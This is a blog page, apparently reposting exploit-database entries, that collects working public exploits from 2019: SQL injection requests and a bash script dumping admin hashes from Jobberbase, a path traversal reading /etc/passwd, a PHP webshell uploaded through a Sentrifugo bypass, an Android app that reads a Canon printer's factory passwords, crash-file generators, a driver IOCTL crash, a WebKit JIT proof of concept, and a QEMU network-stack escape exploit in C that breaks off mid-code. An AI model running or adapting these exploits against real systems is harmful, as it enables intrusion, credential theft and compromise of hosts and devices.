Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863593584

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: YouPHPTube < 7.3 SQL Injection
# Google Dork: /
# Date: 19.08.2019
# Exploit Author: Fabian Mosch, r-tec IT Security GmbH
# Vendor Homepage: https://www.youphptube.com/
# Software Link: https://github.com/YouPHPTube/YouPHPTube
# Version: < 7.3
# Tested on: Linux/Windows
# CVE : CVE-2019-14430

The parameters "User" as well as "pass" of the user registration function are vulnerable to SQL injection vulnerabilities. By submitting an HTTP POST request to the URL "/objects/userCreate.json.php" an attacker can access the database and read the hashed credentials of an administrator for example.

Example Request:

POST /objects/userCreate.json.php HTTP/1.1
Host: vulnerablehost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
[SomeHeaders and Cookies]

user=tes'INJECTHERE&pass=test'INJECTHERE &email=test%40example.com&name=test&captcha=xxxxx

Methods for DB-Extraction are:


- Boolean-based blind

- Error-based

- AND/OR time-based blind


The vulnerability was fixed with this commit:
https://github.com/YouPHPTube/YouPHPTube/commit/891843d547f7db5639925a67b7f2fd66721f703a
            
https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743

case GetByVal: {
    ...

    unsigned numberOfArgumentsToSkip = 0;
    if (candidate->op() == PhantomCreateRest)
        numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();
    
    Node* result = nullptr;
    if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
        unsigned index = m_graph.varArgChild(node, 1)->asUInt32();                        
        InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
        index += numberOfArgumentsToSkip;
        
        bool safeToGetStack;
        if (inlineCallFrame) {
            safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;

        }
        else {
            safeToGetStack =
                index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;

        }
        if (safeToGetStack) {
            StackAccessData* data;
            VirtualRegister arg = virtualRegisterForArgument(index + 1);
            if (inlineCallFrame)
                arg += inlineCallFrame->stackOffset;

            data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);
            
            Node* check = nullptr;
            if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
                check = insertionSet.insertNode(
                    nodeIndex, SpecNone, CheckInBounds, node->origin,
                    m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
            }
            
            result = insertionSet.insertNode(
                nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
        }
    }

The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.

PoC:
function inlinee(index, value, ...rest) {
    return rest[index | 0];  // GetByVal
}

function opt() {
    return inlinee(-1, 0x1234);  // or inlinee(0xffffffff, 0x1234)
}

inlinee(0, 0);

for (let i = 0; i < 1000000; i++) {
    opt();
}

print(opt());  // 0x1234
            
# Exploit Title: PilusCart <= 1.4.1 - Local File Disclosure
# Date: 29 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://sourceforge.net/projects/pilus/
# Version: <= 1.4.1
# Tested on: Ubuntu 18.04.1

The e-commerce software 'PilusCart' is not validating the 'filename' passed correctly,
which leads to Local File Disclosure.

As of today (29 August 2019) this issue is unfixed.

Vulnerable code: (catalog.php on line 71)

    readfile("$direktori$filename");

Proof-of-Concept:

    https://domain.tld/catalog.php?filename=../../../../../../../../../etc/passwd
            
#!/bin/bash
# Exploit Title: Jobberbase 2.0 - 'subscribe' SQL injection
# Date: 29 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: http://www.jobberbase.com/
# Version: 2.0
# Tested on: Ubuntu 18.04.1

: '

    The page "/subscribe/" is vulnerable for SQL injection.

    Simply make a POST request to /subscribe/ with the parameters:
     - email=jobber@zerodays.lol
     - category=1337<inject_here>

    You can use this script to verify if YOUR OWN instance is vulnerable.

    $ bash verify.sh http://localhost/jobberbase/
    admin:1a1dc91c907325c69271ddf0c944bc72

'

: 'Fetch the username'
USERNAME=$(curl -s "$1/subscribe/" \
                -d "email=jobber@zerodays.lol" \
                -d "category=-1337 and updatexml(0,concat(0x0a,(select username from admin limit 0,1),0x0a),0)-- -" \
                -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")

: 'Ugly way to fetch the password hash'
PASS=$(curl -s "$1/subscribe/" \
            -d "email=jobber@zerodays.lol" \
            -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,1,16) from admin limit 0,1),0x0a),0)-- -" \
            -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
WORD=$(curl -s "$1/subscribe/" \
            -d "email=jobber@zerodays.lol" \
            -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,17,16) from admin limit 0,1),0x0a),0)-- -" \
            -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")

: 'Print the user:hash (note: default login is admin:admin)'
echo -e "$USERNAME:$PASS$WORD"
            
#!/usr/bin/python

# SWAMI KARUPASAMI THUNAI

 

print("""

############################################################################
###

# Exploit Title:        Easy MP3 Downloader Denial of Service

# Date:                 2019-08-29

# Exploit Author:       Mohan Ravichandran & Snazzy Sanoj

# Organization :        StrongBox IT

# Vulnerable Software:  Easy MP3 Downloader

# Version:              4.7.8.8

# Software Link:
https://download.cnet.com/Easy-MP3-Downloader/3000-2141_4-10860695.html

# Tested On:            Windows 10

#

# Credit to Snazzy Sanoj & Meshach for discovering the Vulnerbility

# Vulnerability Disclosure Date : 2019-08-29

#

# Manual steps to reproduce the vulnerability ... 

#1.  Download and install the setup file

#2.  Run this exploit code via python 2.7

#3.  A file "exploit.txt" will be created

#4.  Copy the contents of the file

#5.  While launching the application select Enter SN

#6.  Enter random string and press Ok

#7.  Then select manual option

#8.  Then Copy the contents of the exploit.txt and paste on the Unlock Code
field

#9.  Click Ok and voila ! :P Application crashes

############################################################################
###

""")

 

file = open("exploit.txt","wb")

junk = "A" * 6000

file.write(junk)

file.close()
            
#Exploit Title: SQL Server Password Changer v1.90 Denial of Service Exploit
# Date: 29.08.2019
# Vendor Homepage:https://www.top-password.com/
# Exploit Author: Velayutham Selvaraj & Praveen Thiyagarayam (TwinTech Solutions)
# Tested Version: v2.10
# Tested on: Windows 8 x64
# Windows 7 x64


# 1.- Run python code :Outlook Password Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open SQL Server Password Changer and Click 'EnterKey'
# 4.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code'
# 5.- Click 'OK' and you will see a crash.

#!/usr/bin/env python
buffer = "x41" * 6000

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
            
# Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass 
# Google Dork: N/A
# Date: 8/29/2019
# Exploit Author: creosote
# Vendor Homepage: http://www.sentrifugo.com/
# Version: 3.2
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-15813

Multiple File Upload Restriction Bypass vulnerabilities were found in Sentrifugo 3.2. This allows for an authenticated user to potentially obtain RCE via webshell.

File upload bypass locations:

/sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed)
sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed)


# POC

1. Self Service >> My Details >> Documents >> add New Document (/sentrifugo/index.php/mydetails/documents)
2. Turn Burp Intercept On
3. Select webshell with valid extension - ex: shell.php.doc
4. Alter request in the upload...
   Update 'filename' to desired extension. ex: shell.php
   Change content type to 'application/x-httpd-php'

Example exploitation request:

====================================================================================================

POST /sentrifugo/index.php/employeedocs/uploadsave HTTP/1.1
Host: 10.42.1.42
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.42.1.42/sentrifugo/index.php/mydetails/documents
X-Requested-With: XMLHttpRequest
Content-Length: 494
Content-Type: multipart/form-data; boundary=---------------------------205946976257369239535727507
Cookie: PHPSESSID=vr0ik0kof2lpg0jlc9gp566qb5
Connection: close

-----------------------------205946976257369239535727507
Content-Disposition: form-data; name="myfile"; filename="shell.php"
Content-Type: application/x-httpd-php

<?php $cmd=$_GET['cmd']; system($cmd);?>

-----------------------------205946976257369239535727507
Content-Disposition: form-data; name=""

undefined
-----------------------------205946976257369239535727507
Content-Disposition: form-data; name=""

undefined
-----------------------------205946976257369239535727507--

====================================================================================================

5. With intercept still on, Save the document and copy the 'file_new_names' parmeter from the new POST request.
6. Append above saved parameter and visit your new webshell
   Ex: http://10.42.1.42/sentrifugo/public/uploads/employeedocs/1565996140_5_shell.php?cmd=cat /etc/passwd
            
# Exploit Title: Content Provider URI Injection on Canon PRINT 2.5.5
(CVE-2019-14339)
# Date: 24th July, 2019
# Exploit Author: 0x48piraj
# Vendor Homepage: https://www.usa.canon.com/internet/portal/us/home/explore/printing-innovations/mobile-printing/canon-print-app
# Software Link: https://play.google.com/store/apps/details?id=jp.co.canon.bsd.ad.pixmaprint
<https://play.google.com/store/apps/details?id=jp.co.canon.bsd.ad.pixmaprint&hl=en_IN>#
Exploit : https://github.com/0x48piraj/CVE-2019-14339
# Version: Canon PRINT 2.5.5
# Tested on: Android 8.0.0
# CVE : CVE-2019-14339

The ContentProvider in the Canon PRINT 2.5.5 application for Android
does not properly restrict data access. This allows an attacker's
malicious application to obtain sensitive information including
factory passwords for administrator web-interface and WPA2-PSK key.
The mobile application contains unprotected exported content providers
('IJPrinterCapabilityProvider' in android/AndroidManifest.xml) that
discloses sensitive application’s data under certain conditions. To
securely export the content provider, one should restrict access to it
by setting up android:protectionLevel or android:grantUriPermissions
attributes in Android Manifest file.

-- Proof-of-concept code (Java)

--

package cannon.print.pwn;

import android.database.Cursor;
import android.net.Uri;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
import org.apache.commons.lang3.StringUtils; //
https://stackoverflow.com/a/50198499

public class MainActivity extends AppCompatActivity {

    Button PwnBtn;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        PwnBtn = (Button) findViewById(R.id.button);
        PwnBtn.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Toast.makeText(getApplicationContext(), "Payload
triggered ...", Toast.LENGTH_SHORT).show();
                Uri cannonURI =
Uri.parse("content://canon.ij.printer.capability.data/");
                Cursor cursor = getContentResolver().query(cannonURI,
null, null, null, null);
                int count  = cursor.getCount();
                TextView data=(TextView)findViewById(R.id.data);
                data.setText(String.valueOf(count));
                cursor.moveToFirst();
                String tempstr = " ";
                tempstr ="  "+tempstr +"\t"+ cursor.getString(0) + "\t\t\t"
                        + cursor.getString(1) + "\t\t\t" + cursor.getString(2);
                String dpw = StringUtils.substringBetween(tempstr,
"<ivec:product_serialnumber>", "</ivec:product_serialnumber>");
                String dmac = cursor.getString(4);
                String mdeviceid = cursor.getString(13); // raw
                String dtype = StringUtils.substringBetween(mdeviceid,
";CLS:", ";DES");
                String timestamp = cursor.getString(15); // ticks,
device last used
                String dclass = StringUtils.substringBetween(tempstr,
"<ivec:manufacturer>", "</ivec:manufacturer>");
                String dmodel = StringUtils.substringBetween(tempstr,
"<ivec:model>", "</ivec:model>");
                String dserial = StringUtils.substringBetween(tempstr,
"<ivec:serialnumber>", "</ivec:serialnumber>");
                String dfmver = StringUtils.substringBetween(tempstr,
"<ivec:firmver>", "</ivec:firmver>");
                String dservice =
StringUtils.substringBetween(tempstr, "<ivec:service>",
"</ivec:service>");
                /* More juicy data
                String denv = StringUtils.substringBetween(tempstr,
"<vcn:host_environment>", "</vcn:host_environment>");
                String dpapertype =
StringUtils.substringBetween(tempstr, "<ivec:papertype>",
"</ivec:papertype>");
                String dformats =
StringUtils.substringBetween(tempstr, "<ivec:support_data_format>",
"</ivec:support_data_format>");
                */
                String fout = String.format("Device Type : %s\nDevice
Class : %s\nDevice Model : %s\nDevice Serial : %s\nDevice MAC Address
: %s\nDevice Factory Password : %s\nDevice Firmware Version :
%s\nDevice Services : %s\nDevice Last Used : %s\n", dtype, dclass,
dmodel, dserial, dmac, dpw, dfmver, dservice, timestamp);
                data.setText(fout);
            }
        });
    }
}

-- Proof-of-concept python script over ADB --

import subprocess, datetime, sys

def ext(out, var, rw=';'):
    return out.split(var)[1].split(rw)[0]

print("[#] Make sure you've connected the target device w/ adb ...")
print("[*] Running the exploit using adb ...\n\n")
out = subprocess.getoutput("adb shell content query --uri content://canon.ij.printer.capability.data/")

if "<ivec:contents>" not in out:
    print("[!] Error: Couldn't fetch data from adb ...")
    sys.exit(1)

varz = [";CLS:", ";MDL:", ";DES:", ";VER:", ";PSE:"] #
factory_pw_check =
out.split("<ivec:product_serialnumber>")[1].split('</ivec:product_serialnumber>')[0]
prmz = ["Class", "Model", "Description", "Firmware Version", "Factory Password"]
for prm, var in zip(prmz, varz):
	print(" -- Device %s : %s" % (prm, ext(out, var)))
print(" -- Device MAC Address : {}".format(ext(out, 'mmacaddress=', ',')))
print(" -- Device Last Used : %s" % (datetime.timedelta(microseconds =
int(ext(out,', timestamp=', ', '))/10)))
            
#!/usr/bin/python
# Exploit Title: Asus Precision TouchPad 11.0.0.25 - DoS/Privesc
# Date: 29-08-2019
# Exploit Author: Athanasios Tserpelis of Telspace Systems
# Vendor Homepage: https://www.asus.com
# Version: 11.0.0.25
# Software Link : https://www.asus.com
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows 10 RS5 x64
# CVE: CVE-2019-10709

from ctypes import * 
kernel32 = windll.kernel32 
ntdll = windll.ntdll 
NULL = 0 
hevDevice = kernel32.CreateFileA("\\\\.\\AsusTP", 0xC0000000, 0, None, 0x3, 0, None) 
if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0) 

buf = "A"*12048 
raw_input("Press Enter to Trigger Vuln") 
kernel32.DeviceIoControl(hevDevice, 0x221408, buf, 0x1, buf, 0x1 , 0, NULL)
            
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <linux/icmp.h>
#include <linux/if_packet.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <time.h>


#define die(x) do {                             \
    perror(x);                                  \
    exit(EXIT_FAILURE);                         \
  }while(0);

// * * * * * * * * * * * * * * *  Constans * * * * * * * * * * * * * * * * * *

#define SRC_ADDR "10.0.2.15"
#define DST_ADDR "10.0.2.2"

#define INTERFACE "ens3"

#define ETH_HDRLEN 14         // Ethernet header length
#define IP4_HDRLEN 20         // IPv4 header length
#define ICMP_HDRLEN 8         // ICMP header length for echo request, excludes data
#define MIN_MTU 12000

// * * * * * * * * * * * * * * * QEMU Symbol offset * * * * * * * * * * * * * * * * * *

#define SYSTEM_PLT 0x029b290
#define QEMU_CLOCK 0x10e8200
#define QEMU_TIMER_NOTIFY_CB 0x2f4bff
#define MAIN_LOOP_TLG 0x10e81e0
#define CPU_UPDATE_STATE 0x488190

// Some place in bss which is not used to craft fake stucts
#define FAKE_STRUCT 0xf43360

// * * * * * * * * * * * * * * * QEMU Structs * * * * * * * * * * * * * * * * * *

struct mbuf {
	struct	mbuf *m_next;		/* Linked list of mbufs */
	struct	mbuf *m_prev;
	struct	mbuf *m_nextpkt;	/* Next packet in queue/record */
	struct	mbuf *m_prevpkt;	/* Flags aren't used in the output queue */
	int	m_flags;		/* Misc flags */

	int	m_size;			/* Size of mbuf, from m_dat or m_ext */
	struct	socket *m_so;

	char * m_data;			/* Current location of data */
	int	m_len;			/* Amount of data in this mbuf, from m_data */

	void *slirp;
	char resolution_requested;
	u_int64_t expiration_date;
	char   *m_ext;
	/* start of dynamic buffer area, must be last element */
	char  *  m_dat;
};


struct QEMUTimer {
    int64_t expire_time;        /* in nanoseconds */
    void *timer_list;
    void *cb;
    void *opaque;
    void *next;
    int scale;
};


struct QEMUTimerList {
    void * clock;
    char active_timers_lock[0x38];
    struct QEMUTimer *active_timers;
    struct QEMUTimerList *le_next;   /* next element */                      \
    struct QEMUTimerList **le_prev;  /* address of previous next element */  \
    void *notify_cb;
    void *notify_opaque;

    /* lightweight method to mark the end of timerlist's running */
    size_t timers_done_ev;
};



// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

int raw_socket;
int recv_socket;
int spray_id;
int idx;
char mac[6];

void * code_leak;
void * heap_leak;

void *Malloc(size_t size) {
  void * ptr = calloc(size,1);
  if (!ptr) {
    die("malloc() failed to allocate");
  }
  return ptr;
}

unsigned short in_cksum(unsigned short *ptr,int nbytes) {

register long           sum;            /* assumes long == 32 bits */
    u_short oddbyte;
    register u_short answer; /* assumes u_short == 16 bits */

    /*
     * Our algorithm is simple, using a 32-bit accumulator (sum),
     * we add sequential 16-bit words to it, and at the end, fold back
     * all the carry bits from the top 16 bits into the lower 16 bits.
     */

    sum = 0;
    while (nbytes > 1) {
      sum += *ptr++;
      nbytes -= 2;
}

/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0;            /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
sum += oddbyte;
}

/*
 * Add back carry outs from top 16 bits to low 16 bits.
 */

sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
sum += (sum >> 16);                     /* add carry */
answer = ~sum;          /* ones-complement, then truncate to 16 bits */
return(answer);
}

void hex_dump(char *desc, void *addr, int len) 
{
    int i;
    unsigned char buff[17];
    unsigned char *pc = (unsigned char*)addr;
    if (desc != NULL)
        printf ("%s:\n", desc);
    for (i = 0; i < len; i++) {
        if ((i % 16) == 0) {
            if (i != 0)
                printf("  %s\n", buff);
            printf("  %04x ", i);
        }
        printf(" %02x", pc[i]);
        if ((pc[i] < 0x20) || (pc[i] > 0x7e)) {
            buff[i % 16] = '.';
        } else {
            buff[i % 16] = pc[i];
        }
        buff[(i % 16) + 1] = '\0';
    }
    while ((i % 16) != 0) {
        printf("   ");
        i++;
    }
    printf("  %s\n", buff);
}

char * ethernet_header(char * eth_hdr){
  
    /* src MAC :  52:54:00:12:34:56 */
    memcpy(&eth_hdr[6],mac,6);

    // Next is ethernet type code (ETH_P_IP for IPv4).
    // http://www.iana.org/assignments/ethernet-numbers
    eth_hdr[12] = ETH_P_IP / 256;
    eth_hdr[13] = ETH_P_IP % 256;
    return eth_hdr;
}

void ip_header(struct  iphdr * ip ,u_int32_t src_addr,u_int32_t dst_addr,u_int16_t payload_len,
                         u_int8_t protocol,u_int16_t id,uint16_t frag_off){

  /* rfc791 */
  ip->ihl = IP4_HDRLEN / sizeof (uint32_t);
  ip->version = 4;
  ip->tos = 0x0;
  ip->tot_len = htons(IP4_HDRLEN + payload_len);
  ip->id = htons(id);
  ip->ttl = 64;
  ip->frag_off = htons(frag_off);
  ip->protocol = protocol;
  ip->saddr = src_addr;
  ip->daddr = dst_addr;
  ip->check = in_cksum((unsigned short *)ip,IP4_HDRLEN);
}

void icmp_header(struct icmphdr *icmp, char *data, size_t size) {

  /* rfc792 */
  icmp->type = ICMP_ECHO;
  icmp->code = 0;
  icmp->un.echo.id = htons(0);
  icmp->un.echo.sequence = htons(0);
  if (data) {
    char * payload = (char * )icmp+ ICMP_HDRLEN;
    memcpy(payload, data, size);
  }

  icmp->checksum = in_cksum((unsigned short *)icmp, ICMP_HDRLEN + size);

}

void send_pkt(char *frame, u_int32_t frame_length) {

  struct sockaddr_ll sock;
  sock.sll_family = AF_PACKET;
  sock.sll_ifindex = idx;
  sock.sll_halen = 6;
  memcpy (sock.sll_addr, mac, 6 * sizeof (uint8_t));
  
  if(sendto(raw_socket,frame,frame_length,0x0,(struct sockaddr *)&sock,
            sizeof(sock))<0)
    die("sendto()");
}

void send_ip4(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) {

  u_int32_t src_addr, dst_addr;
  src_addr = inet_addr(SRC_ADDR);
  dst_addr = inet_addr(DST_ADDR);

  char * pkt = Malloc(IP_MAXPACKET);
  struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);

  ethernet_header(pkt);
  u_int16_t payload_len = size;
  ip_header(ip,src_addr,dst_addr,payload_len,IPPROTO_ICMP,id,frag_off);

  if(data) {
    char * payload = (char *)pkt + ETH_HDRLEN + IP4_HDRLEN;
    memcpy(payload, data, payload_len);
  }
  
  u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + payload_len;
  send_pkt(pkt,frame_length);
  free(pkt);
}

void send_icmp(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) {

  char * pkt = Malloc(IP_MAXPACKET);
  struct icmphdr * icmp = (struct icmphdr * )(pkt);

  if(!data)
      data = Malloc(size);
  icmp_header(icmp,data,size);

  u_int32_t len =  ICMP_HDRLEN + size;
  send_ip4(id,len,pkt,frag_off);
  free(pkt);
 }

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void initialize() {
   int sd;
   struct ifreq ifr;
   char interface[40];
   int mtu;

   srand(time(NULL));
   strcpy (interface, INTERFACE);

  // Submit request for a socket descriptor to look up interface.
  if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
    die("socket() failed to get socket descriptor for using ioctl()");
  }
    // Use ioctl() to get interface maximum transmission unit (MTU).
  memset (&ifr, 0, sizeof (ifr));
  strcpy (ifr.ifr_name, interface);
  if (ioctl (sd, SIOCGIFMTU, &ifr) < 0) {
    die("ioctl() failed to get MTU ");
  }
  mtu = ifr.ifr_mtu;
  printf ("MTU of interface %s : %i\n", interface, mtu);
  if (mtu < MIN_MTU) {
    printf("Run\n$ ip link set dev %s mtu 12000\n",interface);
    die("");
  }

  // Use ioctl() to look up interface name and get its MAC address.
  memset (&ifr, 0, sizeof (ifr));
  snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
  if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) {
    die("ioctl() failed to get source MAC address ");
  }
  memcpy (mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t));
  printf ("MAC %s :", interface);
  for (int i=0; i<5; i++) {
    printf ("%02x:", mac[i]);
  }
  printf ("%02x\n", mac[5]);

  // Use ioctl() to look up interface index which we will use to
  // bind socket descriptor sd to specified interface with setsockopt() since
  // none of the other arguments of sendto() specify which interface to use.
  memset (&ifr, 0, sizeof (ifr));
  snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
  if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) {
    die("ioctl() failed to find interface ");
  }

  close (sd);
  printf ("Index for interface %s : %i\n", interface, ifr.ifr_ifindex);
  idx = ifr.ifr_ifindex;
  
  if((raw_socket = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL)))==-1)
      die("socket() failed to obtain raw socket");


  /* Bind socket to interface index. */
  if (setsockopt (raw_socket, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) {
    die("setsockopt() failed to bind to interface ");
  }

  printf("Initialized socket discriptors\n");
}


void spray(uint32_t size, u_int32_t count) {
  printf("Spraying 0x%x x ICMP[0x%x]\n",count,size);
   int s;
   u_int16_t frag_off;
   char * data;

   for (int i = 0; i < count; i++) {
     send_icmp(spray_id + i,size, NULL, IP_MF);
   }
}

void arbitrary_write(void *addr, size_t addrlen, char *payload, size_t size,
                     size_t spray_count) {
  
    spray(0x8, spray_count);


    size_t id = spray_id + spray_count;
    // Target
    size_t target_id = id++;
    send_ip4(target_id, 0x8, NULL, IP_MF);

   
    // Padding
    send_ip4(id++, 0x8, NULL, IP_MF);
    send_ip4(id++, 0x8, NULL, IP_MF);

    // Piviot Point
    size_t hole_1 = id++;
    send_ip4(hole_1, 0x8, NULL, IP_MF);


    // Padding
    send_ip4(id++, 0xC30, NULL, IP_MF);

    // For creating hole
    size_t hole_2 = id++;
    send_ip4(hole_2, 0x8, NULL, IP_MF);

    // To  prevent consolidation
    send_ip4(id++, 0x8, NULL, IP_MF);

    // This should create the fist hole
    send_ip4(hole_1, 0x8, NULL, 0x1);

    // This should create the second hole
    send_ip4(hole_2, 0x8, NULL, 0x1);

    int m_data_off = -0x70;
    int m_len = m_data_off;
    addr = (void *)((size_t)addr + ((m_len * -1) - addrlen));
    if (addrlen != 0x8) {
      m_len -= (0x8 - addrlen);
    }

    size_t vuln_id = id++;

    char * pkt = Malloc(IP_MAXPACKET);
    memset(pkt,0x0,IP_MAXPACKET);
    struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
    ethernet_header(pkt);

    u_int16_t pkt_len = 0xc90;
    ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF);
    u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;

    // The mbuf of this packet will be placed in the second hole and
    // m_ext buff will be placed on the first hole, We will write wrt
    // to this.
    send_pkt(pkt,frame_length);

    memset(pkt,0x0,IP_MAXPACKET);
    ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
    ethernet_header(pkt);
    pkt_len = 0x8;
    ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192);
    frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;

    // Trigger the bug to change target's m_len
    send_pkt(pkt,frame_length);


    // Underflow and write, to change m_data
    char addr_buf[0x8] = {0};
    if (addrlen != 0x8) {
      memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen);
    } else {
      memcpy(addr_buf,(char *)&addr,8);
    }
    send_ip4(target_id, 0x8, addr_buf, 0x1|IP_MF);
    send_ip4(target_id, size, payload, 0x2);

    hex_dump("Writing Payload ", payload, size);
}


void recv_leaks(){
  /* Prepare recv sd */
  /* Submit request for a raw socket descriptor to receive packets. */
  int recvsd, fromlen, bytes, status;
  struct sockaddr from;
  char recv_ether_frame[IP_MAXPACKET];
  struct iphdr *recv_iphdr = (struct iphdr *)(recv_ether_frame + ETH_HDRLEN);
  struct icmphdr *recv_icmphdr =
      (struct icmphdr *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);

  for (;;) {

    memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));
    memset(&from, 0, sizeof(from));
    fromlen = sizeof(from);
    if ((bytes = recvfrom(recv_socket, recv_ether_frame, IP_MAXPACKET, 0,
                          (struct sockaddr *)&from, (socklen_t *)&fromlen)) <
        0) {
      status = errno;
      // Deal with error conditions first.
      if (status == EAGAIN) { // EAGAIN = 11
        printf("Time out\n");
      } else if (status == EINTR) { // EINTR = 4
        continue; // Something weird happened, but let's keep listening.
      } else {
        perror("recvfrom() failed ");
        exit(EXIT_FAILURE);
      }
    } // End of error handling conditionals.

    // Check for an IP ethernet frame, carrying ICMP echo reply. If not, ignore
    // and keep listening.
    if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) == ETH_P_IP) &&
        (recv_iphdr->protocol == IPPROTO_ICMP) &&
        (recv_icmphdr->type == ICMP_ECHOREPLY) && (recv_icmphdr->code == 0) &&
        (recv_icmphdr->checksum == 0xffff)) {
      hex_dump("Recieved ICMP Replay : ", recv_ether_frame, bytes);

      code_leak = (void *)(*((size_t *)&recv_ether_frame[0x40]) - CPU_UPDATE_STATE);
      size_t *ptr = (size_t *)(recv_ether_frame + 0x30);
      for (int i = 0; i < (bytes / 0x8); i++) {
        if ((ptr[i] & 0x7f0000000000) == 0x7f0000000000) {
          heap_leak = (void *)(ptr[i] & 0xffffff000000);
          break;
        }
      }

      printf("Host Code Leak : %p\n", code_leak);
      printf("Host Heap Leak : %p\n", heap_leak);
      break;
    }
  }
}

void leak() {
    u_int32_t src_addr, dst_addr;
    src_addr = inet_addr(SRC_ADDR);
    dst_addr = inet_addr(DST_ADDR);

    /* Crafting Fake ICMP Packet For Leak */
    char * pkt = Malloc(IP_MAXPACKET);
    struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
    struct icmphdr * icmp = (struct icmphdr * )(pkt+ETH_HDRLEN+IP4_HDRLEN);
    ethernet_header(pkt);
    ip_header(ip,src_addr,dst_addr,ICMP_HDRLEN,IPPROTO_ICMP,0xbabe,IP_MF);

    ip->tot_len = ntohs(ip->tot_len) - IP4_HDRLEN;
    ip->id = ntohs(ip->id);
    ip->frag_off = htons(ip->frag_off);

    icmp_header(icmp,NULL,0x0);
    char * data = (char *)icmp + ICMP_HDRLEN + 8;
    size_t pkt_len = ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN;

    spray_id = rand() & 0xffff;
    arbitrary_write((void * )(0xb00-0x20),3,pkt,pkt_len+4,0x100);

    // This is same as the arbitrary write function
    spray_id = rand() & 0xffff;
    spray(0x8, 0x20);
